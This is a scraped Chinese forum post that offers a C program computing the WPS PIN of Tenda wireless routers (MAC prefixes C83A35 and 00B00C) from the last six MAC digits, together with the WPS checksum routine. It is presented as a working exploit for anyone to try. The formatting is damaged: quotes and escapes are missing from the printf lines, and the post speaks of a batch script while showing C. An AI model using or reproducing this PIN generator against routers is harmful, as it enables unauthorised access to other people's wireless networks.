
批處理根據無線路由器MAC計算相應PIN碼最后由 pcl_test 于 -9-2 20:59
更新1.輸入超過六位后將提示輸入錯誤,返回重新輸入。2.查完一個之后,可以選擇繼續(xù)輸入另一個,或選擇退出。3.可以一次連續(xù)輸入幾個MAC的后六位(用空格或,隔開),然后對應編號輸出;4.在當前文件夾把結果生成名為PIN.TXT的文件;nclick="copycode($('code0'));">復制代碼
- //Computes PIN code starts with OUI C83A35 and 00B00C
- //Both two OUIs which belonged to Tenda Technology Co., Ltd are confirmed effectively.
- //Coded by Zhaochunsheng - iBeini.com
- //Modified by Lingxi - WiFiBETA.COM
- #include <stdio.h>
- #include <stdlib.h>
- int main()
- {
- unsigned int wps_pin_checksum(unsigned int pin);
- int PIN = 0;
- // printf(ComputePIN-C83A35n);
- printf(Description:n);
- printf(If your wireless router MAC address start with C83A35 or 00B00C,n);
- printf(type the other six digits, you might be able to get the n);
- printf(WPS-PIN of this equipment, please have a try, good luck!nn);
- printf(Code by ZhaoChunsheng 04/07/ http://iBeini.comnn);
- printf(Modified by Lingxi - WiFiBETA.COMnn);
- //Translated to Chinese
- printf(說明:n);
- printf(如果您的無線路由器MAC地址以“C83A35”或“00B00C”打頭,n);
- printf(輸入后六位MAC地址(不分大小寫)您或許可以獲得該路由的WPS PIN密鑰!n);
- printf(祝你好運!nn);
- printf(由趙春生編寫于年4月7日Http://iBeini.comn);
- printf(由靈曦修改并漢化WiFiBETA.COMnn);
- printf(請輸入后六位MAC地址(HEX):n);
- printf(Input the last 6 digits of MAC Address(HEX):);
- scanf(%x,&PIN);
- printf(您輸入的后六位MAC地址是 %Xn,PIN);
- printf(Last 6 digits of MAC Address(HEX) are: %Xn,PIN);
- printf(WPS PIN is: %07d%dn,PIN%10000000,wps_pin_checksum(PIN%10000000));
- return 0;
- }
- unsigned int wps_pin_checksum(unsigned int pin)
- {
- unsigned int accum = 0;
- while (pin)
- {
- accum += 3 * (pin % 10);
- pin /= 10;
- accum += pin % 10;
- pin /= 10;
- }
- return (10 - accum % 10) % 10;
- }

